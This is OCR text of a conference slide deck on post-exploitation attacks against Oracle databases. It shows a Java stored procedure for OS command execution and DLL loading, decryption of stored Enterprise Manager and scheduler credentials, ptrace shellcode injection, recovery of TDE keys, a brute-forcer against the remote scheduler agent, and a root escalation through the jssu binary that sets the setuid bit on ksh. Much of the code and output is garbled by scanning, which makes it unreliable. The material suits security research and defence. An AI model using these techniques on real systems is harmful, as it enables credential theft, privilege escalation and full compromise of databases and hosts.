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The views expressed in this presentation
are my own and not necessarily the views
of my current, past or future employers.
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Introduction
Everybody knows this so let's do it quickly
DLL injection (Windows, Linux)

Attack cryptographic functions in the
database (TDE, dbms_crypto, etc)

Remote Job Scheduling




Introduction

Lrln-..l

* There are many well know techniques for
post exploitation

* This presentation will concentrate on own
research results
— DLL injection
— Transparent Database Encryption
— JOB scheduling
— Release of rorakit for PoC




do it quickly

* The common stepsh

— Running commands at the operating system level
JAVA, dbms scheduler, extproc etc.

— Access files
utl file, dboms lob, JAVA etc.

* Less common, but-equally, if not more important
— Find THE SENSITIVE information in the database

— Non-DBA access can be enough (hey we want
the DATA)

* Rootkits (somebody saw them in the wild?)

Let's d



o it quickly

create or replace and resolve java source named "JAVACMD" as
import jawva.lang.*;
import java.io.*;

public class JAVACMD
public static void exec(String command) throws IOException

Runtime.getRuntime().exec(command);

public static void Toad(String d11) throws IOExceptionfl
Runtime.getRuntime().load(d11);
B

B;
/!

create or replace procedure javaexec (command in VARCHAR2Z)
as language java
name 'JAVACMD.exec(java. lang.string)’;

/

create or replace procedure javaload (d11 in
as language java
name ' JAVACMD. load(java.lang.String)’;

/

begin dbms_java.grant_permission( 'SYSTEM', 'S¥S:java.io.FilePermission', '"<<ALL FILES=>>', 'execute' );

/

begin javaexec('cmd.exe /c dir > c:\temp\testa.txt’'); end;

--Just with 5Ys user by default
begin javaload('c: /svn/rorakit/Debug/oralog.dl1'); end;




Let's_

0 it quickly

'4 11: = |||, Hl”“

Administrator: Command F'r-::umpt = ;-ql|: slus appuser/Testl234

SQL> select user from dual; =

SQL> select username from where username like 'APPX’;
APPUSER

APPUSER1
APPUSERZ

APPUSER3
APPQOSSYS
& rows selected.

SGL>» select object_name, object_type type from where owner=’APPMGR’;

I PROCEDURE
SQL> select text from where name='GET_DEPT_BY_USR’ and owner='APPMGR’

PROCEDURE GET DEE

_BY_USR
name IN YARCH

T
2

I
wm
=

EEIﬁarchaPZ(ZSS);
execute immediate ’'select department from users where name=

[ve e

to dep;
dbms_output.put_line(dep);
END;
Il@ rows selected.
SQOL> exec appmgr.get_dept_by_usr(’aaa

PL-SQL procedure successfully completed.

saL»>




Let's do it quickly

* Rootkits

— Alex Kornbust
« 1% generation: modify views, stored procedures
« 2" generation: e.g. modify the Oracle binaries
« 3" generation: modify the SGA

— David Litchfield:
* Load DLL
* Change the system user hash through an exploit

— Dennis Yurichev

* Replace *.o file in the Oracle libraries
ar -x SORACLE HOME/lib/libserver11.a kzia.o



Let's do it quickly

An Oracle database stores relatively high
number of passwords, depending on the
iInstalled features and applications. For
example:

— EM passwords (Metalink, proxy,
MGMT_VIEW, dbsnmp)

— APEX
— Scheduler
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We are talking post exploitation here, so you
need the highest privilege
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Administrator: Command Prompt

C:xappsllgrZ2inproducts1l. 2. @ndbhome_1x\localhost _orclsxsysmansconf ig>type emkey.ora

KEY=1-6B46B64630ESADFE 1ABCCBASD7ID84AEFEEC353AA6FS90510BA1284502E541489A882C8AAC4
EES%EED49886C99BEBAB9ADBCFA7C5T93BEEEEBBSBF2CA22491?36E3FADC71?FEA23EAEFCD15DBZ
C:Napph\lligr2hproducts\11. 2. 9\dbhome_1\localhost_orclxsysmansconf igrpythoncl

C:Nappsllgr2sproductsll. 2. Ondbhome_1\localhost _orclNsysmansconfigrset PYTHONSTAR
TUP=c:\svn\scﬁagent\pythonrc

C:Napp\llgr2\ roduct\ll 2. ndbhome_1\localhost orcl\sysman\conf1g>python
ActlveP tﬁ . (ActiveState Software Inc.) based o
IPython r262 716@@ Apr 21 2009, 15:05: 37) EHSC V. 15@@ 32 bit (Intel)] on

eF help(, copyrlght "credits" or "license" for more information.
=open

line=f.readline()[4:
key unhex11F (llne)[
enckey=unhexli

p 34

>V

> li
;; IV="\EUN\ENBNENEN \E)\El
27

N

>

>

")
: 91
)ES: 1

-mHu1-

d=des(key,CBC,IV)
d.decrvpttencﬁev)

Sx D8N\ x B8\ xBI8N\x

P8\ x 8\ xB8\x 8’
f.close()

™ . e S 8




Administrator: Command Prom |:|£ —;I plus sys as sysdba
Oracle Database 1llg Enterprise Edition Release 11.2.8.1.8 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SAL> set head off

SQL> beain sysman.MGMT TIME SYNC. setTlmeg?FF(hgxtoraw(’
;en

2 7/

PL-/SOL procedure successfully completed.

SOL> select view_usernamell’:’1| from sysman.mamt _wv
iew_user_credentials;

SAQL> select credential_set_columnll’:'lIlsysman.decrypt(credential_wvalue) from sy
sman.mamt _credentials?Z;

IRole:

SQL> select sysman.decrypt{proxy_user)ll’':’llsysman.decrypt{proxy_password) from
sysman.mgmt_url_proxy;

SQL >
| S _

UyH ’ ,-:r N




_ injection

* On Windows we use the well known DLL
injection techniques

* On Linux we use ptrace calls to modify the
Oracle process to load our library and
redirect the given function calls

* The PoC works on 32bit only (64bit will
come)



- Injection
The Linux is more interesting here, because it is

not a common technique, on Windows even
malware apply the same technique

found one example sshf in phrack magazine 59
_ot's of things changed since then in glibc

t logged the pam calls and it can easily call the
real functions from the libraries. (I have only the
Oracle executable.)




* On Wlndows everythlng Ig DLLs

* On Linux the Oracle executable contains
almost everythlng

" DHRY TR EHEL (TlsSetali keme |32, T s6atlale I
FIfH

[root@fclZorllr?2 binl]# 1s -1h oracle B
-rwsr-s——-x 1 oracle oinstall 1600m 2010-06-11 19:10 oracle =
[root@fclZ2orllr?2 bin]#




_ injection

The Injector shellcode, which will be written
at the beginning of the isalpha function

it 3 SRl R ULy
BRTEERLL| abantf, B 7has0F

LR [<sEcTion _text]

global _start
_start:

push 8x1 ;FLAGS parameter of the dlopen call
jmp short ender

starter:
mou ebx, @x12345678 ;This will be the address of the dlopen

call ebx
int 3

ender :
call starter ;put the address of the string on the stack
db */ftmp/roralib.se’ ;copy here the path of the library




Plugins

BE 4L LW WK

Options

ec 40 B2 00 B0

7d fc
75 8
5d f4
55 08
7d 1c
75 20

0&

Injection

Help

push ebp

mov ebp, esp

sub Bx0240

mov dword ptr [ebp-4], edi

mov dword ptr [ebp-8], esi

mov dword ptr [ebp-12], ebx
mov edx, rd ptr [ebp+8]

mov edi, rd ptr [ebp+28]
mov esi

mov

Plugins

Dptions

Help

push GxB00a795b3
ret

moy ntr [ebp-8], esi

Moy « ntr [ebp-12]1, ebx
mov edx, dword ptr [ebp+8]

mov edi, d ptr [ebp+28]
mov esi, d ptr [ebp+32]
mov eax, dword ptr [esi]




Plugins Qptions Help

BE 4L LW WK

Plugins OQOpfions Help

ec 40
7d fc

f el

02 00 @:IIIII'I

Injection

push ebp

mow

mow e
mow e

mow
mow

push dw
push

mow
sub
mow
jmp

ebp, esp
esp, Ox0240
dword ptr [ebp-4], edi

- [ebp-12], ebx
d ptr [ebp+8]
_ - [ebp+28]
esi, | ntr [ebpt+32]
eax, dworc

- [ebp+32]
- [ebp+28]
- [ebp+24]
- [ebp+20]
- [ebp+16]
- [ebp+12]
- [ebp+8]
c - [ebp-40]
ebp
ebp, esp
esp, Dx0240

dword ptr [ebp-4], edi

ecx
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Injection

EDE - full/app/foracle

Debug Plugins Options Help

D

e

395 a7 oo

0.0/db_1/b

bug Plugins Opfions Help

UE

f 75 20
f 7% 1lc
f 75 18
F 75 14
F 75 10
F 75 Oc
f 75 08
f 75 dB

e5

ec 40 02 00 Of
7d fc

el

[4641]

push Dx00a795b3

ret

mow d ptr [ebp-8], esi

movw

mov edx,
mov edi,
mov esi,
mov eax,

push
push
push
push ebp

[ebp-12], ebx

d ptr [ebp+8]

ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr

mov ebp, esp
sub esp, Ox0240
mov dword ptr [ebp-4], edi

jmp ecx

ptr [ebp+28]
[ebp+32]
[esi]

[ebp+32]
[ebp+28]
[ebp+24]
[ebp+20]
[ebp+16]
[ebp+12]
[ebp+8]

[ebp-40]




DLL injection
Oracle on Windows is Oracle on Linux is
multithreaded multiprocess
— It's enough to inject — You have to inject all
only one process processes
— You have to define — Every call will be
from which module-it redirected in the
IS called and which Injected process

module contains the
function. If it is called
from a different
module it won't be
redirected




- Injection

In theory both problems can be solved

— On Linux the listener process forks an Oracle
process when somebody logs in, so we
should inject the listener process to detect the
creation of the new Oracle processes

= 0On Windows we can implement the hijack
with the same technique as on Linux

Maybe in a future version



Crypto
| concentrated on cryptography functions
— DBMS_OBFUSCATION_ TOOLKIT
- DBMS_CRYPTO
— Lot's of crypto in the authentication
— Transparent Database Encryption

— Stored passwords in the database
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] n Linux these are
< “direct calls

On wmdows it happens
through DLLs
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DUORD PTR DSt HﬂMmm
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rypto

CREATE DR REFLACE FUHCTIDH encaes128(input_string UARCHARZ, input_key UVARCHARZ2)
return varchar?2
is
output_string UARCHARZ? (Z208);
encrypted_raw RAW (Z0088);
num_key bytes HIHBER -= 256/8;
key bytes raw RAW (32);
encryption_type PLS IHTEGER :=
DBMS_CRYPTOD .EHCRYPT_RES128
+ DBMS_CRYPTO.CHAIN_CBC
+ DBMS_CRYPTO.PAD_FPKCSS;
BEGIH
key bytes raw == dbms_crypto.hash{utl raw.cast_to_raw{input_key),dbms_crypto.HASH HMD5)};
encrypted_raw :-= DBMS_CRYFTO.ENHCRYFPT
(
src => UTL_I1BH.STRING_TO_RAY {input_string, 'AL3ZUTFE'),
typ => encryption_type,
key => Key_bytes raw
-

output_string == RAWTOHESX (encrypted raw);
return OUTPUT_STRIHG;

EHD ;
)

Based on: http://download.oracle.com/docs/cd/B19306 _01/appdev.102/b14258/d_crypto.htm
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TDE
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Transparent Database Encryptlon
introduced in 10g Rel 2

It is part of the Advanced Security Option
In 10g it can encrypt on a column basis
In 119 it can encrypt on a tablespace basis
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* The master key is stored in a wallet,
outside of the database

* TDE protects the data on the file system,
not in the database

* If the wallet is open, the data — according
to the access rights — can be accessed
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==ecCak

select col from secret; 2 ARIZEAD) o1 L
' 4

|_ oL

010010

1010010
10101 [—
111

g b
: -ﬂ._'.t '
. MasterKey

% Tablespace file

¥
LL
b

'

ewallet.p12
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* QOracle handles blocks at the file level

* The table space key is at the second
block+0x310 (a block can have various
sizes)

Key length (2*8 bytes) I Encrypted tablespace key



fxfTDE

The IV is at the beglnnlng of each block

06 A2 00 00|84 00 80 01 95 94 17
00106010  FESEZ 00 00 3B 58 26 13MEY 94 ”1 AB 8B 09

Beginning of the block
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* Special thanks goes to Gergely Toth who — as a
recreation activity — developed an Oracle wallet
dumper in java

* | did a little modification of the orablock tool from
David Litchfield's great cadfile toolset to work
with my examples

* Special thanks-goes to Kurt Van Meerbeeck who
allowed me to use his excellent JIDUDE tool to
test my results
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Length of the column

Oo01DDFD
0'H-EER
0001DELID
0001DEZ0
0001DE3D
0001DE4D

OO001DESD
0001DEGRD
0001DE?D
o 1101DERD
QO01DESD

IV (is there by default, but can
be omitted with “NO SALT")
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Remote ob Scheduling
* Introduced in 11g -

* It allows to run jobs on machines where
there Is no database installed

* You have to install the Scheduler Agent
from the Transparent Gateway disk




Remote Job Scheduling
How it works (Linux):

— There Is the schagent java program that
accepts the connection from the network

— Schagent calls the jssu executable in the
$ORACLE_HOME/bin directory

— The result Is sent back to the database
through XDB




Remote Job Scheduling

Security 1.

— The network connection is protected with SSL
between the database and the agent

— Operating . system user and password are
needed to run a job on the agent's machine

— To handle the previous, a new object type
called CREDENTIAL was introduced (access
can be managed inside the database!)

— The agent has to be registered into the
database



E5L rip, TTF N e a
B A3 26A0C
| | Encrypted with SSL, the server
L E\{ELJ 115 .checks the client certificate

tantt, M7 1L1PE

>

Oracle XML Database



[~

Remote

% registration_request.txt + (c\swvn\schagent) - GVIM E

File Edit Tools Syntax Buffers Window Help

SOE@E =9 @ B e L34 THda 2 2

FOST fremote_scheduler_agent/reqgister_agent2 HTTP/1 .1
User-Agent: Jawvas1.5.8_17

Host: 192.168.56.1:166821

Accept: text/shtml, imagesgif, image/jpeg, =; q=.2, *f*; q=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 955

hostname=o11gr2cé&certificate=HIICAJCCAWSCBEtq?MMwDOY JKoZ2ThvcHAQEEBAWRZEZMBCcGATUEChHOT2J
h¥2x1IFHjaGUkdWx1c jEQHAMGATUECXHHbZzExZ23IyYzEYHBYGATUEAXHPRXh1Y3UBaWIUIEFnZWS BMCAXDTEWMD I
wHDEZMjQzHUoYDZzIxHDUXMT I 2MTYyHDHAWjEHHRKwFwYDUQQKEXBPcmF jbGUgU2HoZWR1bGUYMRAWD gYDUQQLEwd
UMTFnc jJjMRQuFgYDUQQDEw?FeGU jdXRpb24qQidlbnQuwgZ28wDd0Y JKoZ2IThucHAQEBB]ADgY BAMIGJADGEALZKScH
WABnirQWMqHIxb(LfcuwHF8z(8GKKA jepnCHSX2ASAIxAipYHa jXQ8KwwCQGrHextaQUnYesth7gtGj@nys2HrR1h
Fo87mivnrRikeXUbawoAkPHRSUFAHEgQFXuigqEG3zr7 3 2B7 SE2FykPHO3MWEFiamy k6 F3WIN0BS62CP5AgMBARE
wD QY JKoZ I hucHAQEEBQADGYEATDSg2ThPOHBJS) jds0bQ?R5CHINY 6 BuwGaRCKEOUZ2B1y2AwY seHUIAZE2FHSwEL
FAoRZSsXPMA0sJBAd27YmuCPcgpbeJonTuvwCySuafH6rUzF IRItWKUWbFpxWnikZABR66XZGUEE2ZFdumDiMnhiUnkG
ZBRLU?8ei07LGZNnPiEWrWE2FLSUTIZ3DECUrrent_date=1282661633112&password_hash=LYLBDcouS5Bcds
ZRzWszPGPSJE2FCIZ3DE&port=1500&nonce=Jw6 FuaxE253AddafIUTIogz3D23D&enc key=A4PeuK%2B14eL G
2B%2FBzCF7HKW23D%3D&key_hash=F332HH%2BI BqE1unBP1PhH%2Fz5c0j8%3D&agent_name=

HTTP/1.1 288 0K

Server: Oracle XML DBfOracle Database
Content-Type: texzt/html; charset=UINDOWS-1252
Content-Length: 174

Oracle Scheduler Agent Registration for 11.2 Agent
GLOBAL_DB_HAME: ORCL

NOMCE : hJYutCu/AptugpNILb355g==

KEY_HASH: UdDETGCcgERBHDr3H78+/UJS51dI=

Agent Registration Successfult




Remote Job Scheduling
The registration happens only once at the
beginning, so | concentrated on other parts,
but just to show what is happening:

password hash=HmacSHA1(password+nonce,
cert+password+currentTime+hostname)

trkey=SHA1(password+nonce+currentTime+hostname)
[1..16]

enc_key=AES(trkey, random generated key)



Bk BE BN O

Remote

SQL>» select hostname, ip_address, port, shared_key from scheduler$%_destinations
where hostname='ollgrZc’;

HOSTNAME IP_ADDRESS PORT SHARED_KEY

z2 7/
PL/SQOL procedure successfully completed.

SQL> select username, password from scheduler%_credential;

IUSERNAME PASSHORD

oracle
SOL> begin
2 bms_scheduler.create_job( job_name => ’myjob5’,
3 job_action=>»'/tmpstest.sh’,
4 number_of arguments=> .
S Jjob_type=>'executable’ enabled >False);
& dbms_scheduler.set attrlbute ('my job5’, 'CREDENTIAL NAME’ 'labcredl’);
7 dbms_scheduler.set attrlbute (’myJobS ’DESTINATION’, olingc 1506a° i;
8 dbms_scheduler.enable(’my job5’);
9 end;
16 ~
PL-SQL procedure successfully completed.
SaL>

ii
VALUE
ISQL) begin dbms_scheduler.create_credential(’labecredl’,’oracle’,'Test1234%); end




Job Scheduling

.;._.11 = (amg

Remoti_ﬂe_ﬂ

fom et
|| ERG EWER I

Administrator: Command Prompt - pythoncl

c:app-llgrZsoradatasorcl>pythoncl
c:vapphllgr2soradatasorel >set PYTHONSTARTUP=c:“svn\schagentspythonrec
\app\llﬁrZ\oradata\orcl>python

ActlveP t . 2.2 (ActiveState Software Inc.) based on

P?tgon (rZ262: 71600, Apr 21 2009, 15:05: 37) [MSC v.1500 32 bit (Intel)] on
win

Type "help' cCopY credi se” for more information
>35%keys b64decode(’531z11EpcePE2103vKg Esszsu54u 3KPg==")[1:97

»27 encpwd=b&ddecode(’BVY1z] iEpcePEz]lo3VKabtpS528uSdly 3KPg=="3)[9: ]

>»7?> d=des(key)

>»>> d.decrypt{encpwd)

! “xocBbR?PN\N\xablZ2\xad,

>>7> key=bé6ddecode(’BT4du th18?49F1PrL98 UZP8t XkZMRmQ==")[1:91]

P encpwd=b64decode(’B¥4uthqLS749FlPrK98y JUZP8t XkZMRmQ=="J)L[9: ]

»»> d=des(kevy)

>»7> d.decrypt(encpwd)

;}} “xolsxf eHN\xabs\xb8{\xcf\x92’




Remote J

LLMAIN
ret= pztcx(type key, zero, in, in_len, out)
type: Dx2
key.len: 16

key k

1n 4F52434C716E715A61426B324B5532573947757879496F4D73513D3D
2@323@313@2D30382D333@2@31383A3@393A343@2E353737303@3@3@3@3@4575726F
TA65ZF42656C67726164652043455354

in_ len

out.le

out key

20
141DEDFB@CB8D623D7BBBI36EFDD80Z21004E788F

WA PTR 04 [ 77FEERAC) ret= PZtCh(Wt

” | t FEFEB%ﬁDSZCBS17@2ABZE9F53AF89SBDDF282389ADDEB@@B
aeslalie ype

Of course We Can [0g it " luowandbiosiot BTyt wiLsa DD\ 2314 Snx6ykBsrr 7135k
B . .
5465737431323334 " pz“EgEé?&andigémaéi o in, snlen, ot out_len

key:kgy; FEFFDDADS2CB81702ABZ2E9F S3AF893BD

TeSt 1 2 34 15 5T FBSESSF666F 1ER2901829AFB2374A41E

__in: BBBESSTECZB39D6CIZ7ASFDAA19F 70253FDIFBCD 124F DAEFBBSAEC S
6F3A9F0611909CZACEUECE4F AZPBE7C9896BD2A07EESBEE /O2DE2F 15CSADBCF ADE4
668BFDFDSE29BAZ246912E7A 1F 8CRA49DF 3305879440579 1D98C 243 7A6BFSEAZT/F S
-93371621SEB8EAA%%E482D32FBC@45598D1E1423%7E2BF8EE891685EEBE33

9 9 8
720542746E 1BESF9AC4ADSIBS78EGS61AFAF 7/DI954F B 1B 193479265C2EADE4AF 8AAA
4333905DCa6F 86COBFB250B9819AFCS8FA172B26B 1E@ACFC

l 256
1n °2 E6F625F 6F 776E65723D535953266A6F 625F 6E616D653D4D594A4F

64
235266A6F625F7375626E616D653D2673746172745F646174653D31323833313931
737373233382672756E5F6475726174696F 6E3D 313034266370 755F 757365643D26
S72726F 720F 6E T56D6265723D 302665727 26F 725F 746578 743D 266F 75747075745F
46578743D26726571756573745F69643D343138373934 31343035266 16464 5F 696E
66F 3D45585445524E4 14CSF4C4F 4 75F 4944253344 2532326A6F 625F 3736353332
23525323225324325304 155534552484 14D452533442532326F 7261636C65253
67375626D69743D5375626D6974
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Security |l.

— Disabling functions
 DISABLE PUT_FILE=FALSE
* DISABLE_GET FILE=FALSE
 DISABLE JOB EXECUTION=FALSE

— Restriction of users
* DENY_USERS=root,administrator,guest
* ALLOW_USERS=
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# if this is set to TRUE, only registered databases will be allowed to submit

# jobs and the
# or higher.

SECURE_DATABASES_ONLY=TRUE

Any guess-what will be the general practice?




Remote Job Scheduling

(A
Aia
|

. GET /HTTP/1.1
SO we can have the Host: 011gr2c:1500
username and Source: 011gr2

Source-DB: ORCL
password (from d Source-Port: 16021
hacked database) Action. REJN

Command: /tmp/testish
) Job-Id: 74601
Can we send arequest -2 ¢ "0

to the agent? Job-Subname:
Job-Owner: SYS

Domain:

Request-Id: 1017801477
Credential-Owner: SYS
Credential-Name: LABCRED
Connection: close
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* We can escalate our privileges to the
remote agent

* We can bruteforce a password remotely

(that is why the user restrictions/are
important)

* Two other.small notes
— There is a VERSION query
— It Is worth to look closer at the jssu binary



$stunnel3 -c -r 192.168.56.46:1500

PMGETDSDADSA

Action: VERSION

HTTP,/1.0 200 Agent version: 11.2.0.1.1

. $stunnel3 -c -r 192.168.56.46:1500
u I|GETawsdasdasdasddasdasdasd

Action: VERSION

HTTP/1.0 403 Unauthorized databases not

S

allowed
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| kKnow thls IS Just a joke :), but you have a working
su, so at least be careful who can run the jssu
binary (oinstall group by default)

d[oracWe@ollgr2c binl]% 1s -1 jssu [ ]
| r-x——— 1 root oinstall 32455 Aug 13 2009 JSSU
[0rac1e@011gr2c binl% echo "chmod u+s /bin/ksh" = /tmp/aa.sh
[oracle@ollgr2c binl% chmod a+x /tmp/aa.sh
[oracle@ollgr2c binl$% ./jssu

root

“='5e5t1234

JStmp/aa.sh

[oracle@ollgr2c binl]$ ksh
# whoami

root
#
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* The user who runs jobs should not have
access to su, sudo and the jssu binaries

* If he/she has, he/she can bypass the user
restrictions by calling the binaries through
a job

* The configuration of the agent should be
as restricted as possible

Job Scheduling
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E® Administrator: Command Prompt

c:\svn\scha ent)bython roragentbrute.py --sp 16022 --sip 192.168.56.1 -t 192. 168“
.06.46 -p 1% -u oracle -d dict.txt .

b Scheduling

4:11f

.Y I|I|

HTTP-1.8 2B REQUEST_RECEIVED

POST /remote scheduler a§ent/subm1t _job_results2 HTTP-1.1
User-A ? avars

Host : 92 168.56, 1: 16@22

Accept textshtml, imagersgif,. images jpeg, ¥; q=.2, */%; qg=.2
Connect ion: keep-alive

IContent type: applications/x-www-form-urlencoded

Content-Length:

cggsggd15fb £ b593e98515ed199bd75d6f 342de 38bb89d 7f 8dd746d716382b6e7f a3cbSaaZé
f f8a73c767a763acect 3571 1b27761
d

di9
175
366436b8e8e2d5f 0234614acd5635f 21b442b33ef ¢ 1 E?222976a4f1Fc26366®7839c59b8bd5
cle
elBa

-+

171
64adb251c219e4f f f aeScdfc 579535@be@53b9a604f75f fb33ce762c14deB8act7a449291a3
46eb9989c20bbB1b71659948a68a566d45af 81a524113f 8 f B3686e2f 8740563064dab105be4 11
blfa986b512191f f 87496060decS44]1 1SBedeal8c22675beaS4322c99c8f dc3f 6b2f 4a31f bf 750
28b941b7a1cd5F9cd3958b®3932d4b@8d6312f215e83b8d3d7F8422@52ch6 48158ac78c1b4cdcl
B30d37f 6ed79ee3adf df B561808968a3533146112f bZ2edeabcd64acI9507a3bb5907587e3534bb 1

IHTTP/l.@ 200 REQUEST_RECEIVED

POST /remote_scheduler a?ent/submlt _job_results2 HTTP-1.1
User-Agent: Java/l

Host: 192.168.56. 16@22

Accept: text/html, imagergif, images/jpeg, ¥; qg=.2, ¥/%; q=.2

Connection: keep-alive

Content Eypet application/x www-form-urlencoded

ontent-Len

d218e76a7f 04e27d79691811809cceS7Scee82e 1e94ada8dbaf 17c7c8ccabd138157e9d3b726%ec 1
D30e98547047ce3802b 14097 77439f 1746 053a8953f df 21bbe73f 3f bO9f e 7925e2f 413d50ad5c

40942d6446542f dOdScZc3f alcd7d8c33b88SASF 124d762e3F9%cd87af eld95d 1e3346cdB8294d7532¢
f7f4c981lef 621d8d155f edbdSc8cEb 167F 21daSF 9d87eb27aZ2532bdf f 2287 705f 11b79d386a5c 64

eS7efb72ad2Z2cb9e9094bhf S3bSEW1863137adcbe3cdd78d291b03aedb877e31b7b92ecS5cdb684c83b)
1802001a2a87b88edeP45Sh16e9f f 6854f 8513d9b814f S5f 933dakld47d2805111f abS15e 18796ef e 71
921124d6esEf 3a574caaad 7580307054

IPassword was found:

. ____
o

Exitingt
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OK but we are talking about post
exploitation and what if

SECURE DATABASES_ ONLY=TRUE




'.ret:pztcedec(hand1e, key, iv, in, in_len, out, out_len)

41DEDFEDCEBDGZ 3D7BEBY36EFDDBDZ2 10D4E7 BB

ret=pztcsr(out, out_len, in, len)
out: 5465737431323334
out_Tlen: B
%n: 056D3527B1A4FCAL13I2ERAIRTE14F067ERT 28FTAGRTTEDTECOL
en: 25
ret: 0
ret=pztch(out, type, in, len)
out: FEFFDDADSZCEE170ZABZEIFS3IAFEI3BDDFZE23EB9ADDEDOOOD
type: 57005
in: FRALyfRAL3IZBSu \x2Btw]jLs0\x3D"x3D\x2B14z9mbx6ykBgpr?
831917773460llgr2c
len: 68
ret: 0

handle: 0x7004001

key.len: 16

key.key: FEFFDDADS2CEE170ZAEBZEI9FS3AFE93ED
iv.len: 16

iv.1v: FB5E33F6GGF1EBZ2901829AFB2374A41E

h i1 = ’
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Administrator: Command Prompt
- oy -

ciNsvn~schagent>python roragentbrute.pz --sp 16022 --sip 192.168.56.1 -t 192. 16
.56.46 -p 1000 -u oracle -d dict.txt -

HTTP-1.0 20@ REQUEST_RECEIVED

POST /remote scheduler agent/submlt _job_results?Z HTTP/1.1
User-4A ? avars
Host: 92 168.56. 1: 16922
Accept text/html, imagersgif, image/jpeg, %; g=.2, %/%; g=.2
Connect ion: keep—alive
Eontent Eypethappllcatlon/x www-form-urlencoded

tent -
3a81937a86R65b70b9518d71920f 08d79c0148e87f 61ebdShb9807d7bbaS8d5d 10d00b26c 1f 2dd2b6
802f al1le@678%9ccb7610d5f 4f 1badd85cdedZ2f4c11abd4ecS3db73ff511el171f cf 54d8828a1f 54a5a
P9606a56dI93f 31e3e3223f bbdSd22780b466f aba9361394d54d3507f f 3f 0986F9b76c4d 1f abb5S4e4
bcPef 72acSccaf9767ae 18af eb47152cc3a3fdd3114e9fal71880f b5
748983291 eabda3bd821f 668c6037bccbcd415d4ddb5S011dR1517f 209269 abacd34 b9d4
ff58c2dc9de57719cf 038d431bb7c14c75dd10674e171d4560344c 1 19af 7fe’7
7308b21a5821299f c138fb716966cf51de 1a F166a5a4bdd21FF84dbb6ee9ddb42f691987b6d41c1
f46820e03eBeF716f 8b5S73f eb51bB3daZc26f 6d85572870chbf S1aca90360678267b8at2e f @S5Af ab

HTTP-1.0 208 REQUEST_RECEIVED

POST /remote scheduler agent/submlt _job_results2 HTTP/1.1
User-Agent: 71,
Host: 92.168 56 1: 16@22
Accept: textshtml, imagesgif, image/jpeg, ¥; q=.2, *¥/%; q=.2
Connection: keep—alive
Eontent Eype happllcatlon/x www-form-urlencoded

tent-
fect£94547bf 1bdB6Bcal33edSt 8993b486ad4579480a6bd94af c4i62a31leed91cf 962f 14bbdf a717
eabdaall/5S36f 735ac 1e8b2442381db9b 8T £ 475d9310d6c44cf 6de 7905 3c38842242b%ebc4820a
3c2534596d980abdc 14a631018276695d 1339229 02bf e9eb265b33al1d79d4f ead3269f caSSaf 4
e8383e 12c62a7000f 3378472b2635a56e9f d4f 9f BB1aSdf B67428a15659631102ceb67d53al
dGaecf62336e22al1807122b4abof 4e57b653ccadc7edSb63516083daf f 18e36f 6d423d3180b12d63e
a/B036f 65755455bb31399e33c6469f d94997476ef 17a8f b31fbd9153ddZ2547e64656c88c 3cb5533b
fab1300af Sdc45074f 545ac 72558543

Password was found:
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Don't forget THE DATA is important

We can easily log the crypto function of Oracle
databases

It was shown how the TDE function can be
attacked or recovered

We analyzed the security of the Remote Job
Scheduling feature



wttp://www.sooner'olrulater.hu/
nttp://blogs.conus.info/

nttp://'www.red-database-
security.com/wp/oracle_rootkits 2.0.pdf

http://www.databasesecurity.com/oracle-
backdoors.ppt

http://www.databasesecurity.com/dbsec/Locatin
g-Dropped-Objects.pdf

http://www.codeproject.com/KB/threads/complet
einject.aspx




